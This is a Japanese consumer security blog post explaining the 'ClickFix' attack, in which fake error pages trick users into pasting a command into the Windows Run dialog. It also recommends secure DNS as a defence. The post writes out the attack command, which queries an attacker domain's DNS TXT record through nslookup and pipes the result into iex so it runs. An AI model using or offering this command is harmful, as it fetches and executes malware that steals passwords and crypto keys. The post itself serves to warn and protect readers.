【Microsoft警告】Windows標準ツール「nslookup」がマルウェアの運び屋に？新型攻撃ClickFixの脅威と対策
「ネットワークが繋がらない時に使うあのコマンドが、実は一番危険だった……」
そんな衝撃的なニュースが飛び込んできました。Microsoft Threat Intelligenceが公開した、Windows標準ツール nslookup を悪用する新型のソーシャルエンジニアリング手法、通称**「ClickFix」**。
今回は、ITに詳しくない方でも分かるように、この攻撃の巧妙な仕組みと、今日からできる「最強の防御設定」を解説します。
1. ネットワークの「救世主」が「暗殺者」に変わる時
皆さんは nslookup というコマンドをご存知でしょうか？
本来は、インターネット上の「住所（IPアドレス）」を調べるための、エンジニアにとっては馴染み深い、非常に便利なツールです。
通常、このコマンドは「安全な道具」として認識されています。Windowsもセキュリティソフトも、このコマンドが「悪さをすること」を想定していません。
しかし、そこが攻撃者の狙いでした。
信頼されているツールだからこそ、悪用された時にセキュリティソフトは「手も足も出ない」状態になってしまうのです。
2. 恐怖の「Win + R」コンボ：感染のステップ
この攻撃は、あなたのPCの弱点を突くのではなく、あなたの「善意」と「焦り」をハックします。
ステップ1：偽のエラー画面
ブラウザを見ていたら突然、「修復が必要です」といった本物そっくりの警告が出ます。「修復ボタン」を押すと、裏で特定のコードがクリップボードにコピーされます。
ステップ2：ユーザー自身に実行させる
画面はこう指示します。
「Windowsキー ＋ R を押して、貼り付けて実行してください」
ここで貼り付けられるコードがこちらです。
cmd.exe /c nslookup -q=txt [攻撃者のドメイン名] | iex
ステップ3：コマンドの正体
nslookup -q=txt: 普通の住所ではなく、ドメインに紐付いた「テキストメモ（TXTレコード）」を呼び出せという命令です。 攻撃者はこのメモ欄にウイルスの設計図を隠しています。
| iex: 受け取った設計図を、そのままプログラムとして実行しろという恐ろしい命令です。
つまり、「住所を確認するフリをしてウイルスの断片を読み込み、あなたの手で実行させる」。これが「運び屋」の正体です。
3. なぜセキュリティソフトは「スルー」してしまうのか？
理由は、通信の**「通り道（ポート）」**にあります。
443番ポート（Webサイト用）: 厳重に監視されるメインゲート。
53番ポート（DNS/住所確認用）: nslookup が通るドア。
通常、53番ポートは「ただの住所確認」としてスルーされます。さらに、使われているのはMicrosoft公式の正規ツール。
「正しいツールが、正しいドアを通って、標準的な通信をしている」
これでは、最新のセキュリティソフトでも検知は極めて困難です。
4. 感染するとどうなる？（主なマルウェア）
送り込まれる「犯人」たちは、あなたのデジタル資産を徹底的に狙います。
Lumma Stealer: ブラウザのパスワードや、仮想通貨ウォレットの「秘密鍵」を瞬時に盗みます。
Odyssey Stealer: Windowsだけでなく、Macも狙う「スパイ型」マルウェア。
Amatera Stealer: 企業内の機密書類やメールデータを特定して盗み出します。
5. 今日からできる「最強の盾」：セキュアDNSの導入
この攻撃から身を守るために、設定すべきなのが**「セキュアDNS」**です。通信の入り口で、悪意ある場所への接続を自動的に遮断してくれます。
特におすすめの2つを比較しました。
サービス名おすすめポイント向いている人Quad9 (9.9.9.9)鉄壁の防御力。IBMや警察機関が協力する最強のブラックリスト。安全性を最優先したい方Cloudflare (1.1.1.1)圧倒的な爆速。プライバシー保護と速度のバランスが最高。快適さと安全を両立したい方
筆者のおすすめは「Quad9」です。 今回のような巧妙な攻撃には、専門機関が連携した強力な防御壁が最も効果的だからです。
6. まとめ：あなたの「意識」が最大の防御
最後に、大切なポイントをまとめます。
Webサイトから「Win + R」を指示されたら100%詐欺！
nslookup は便利なツールだが、今は悪用されている。
セキュアDNS（9.9.9.9 など）を設定して、自動で守る壁を作る。
どんなに強力な壁を作っても、最後の一線を越えるのはあなた自身です。「ネット上でキーボード操作を強要されたら無視する」。この意識こそが、あなたと大切な人を守る最大の盾になります。
もしこの記事が役に立ったら、ぜひ「スキ」や「シェア」をお願いします！大切な人にこの情報を届けて、被害を防ぎましょう。
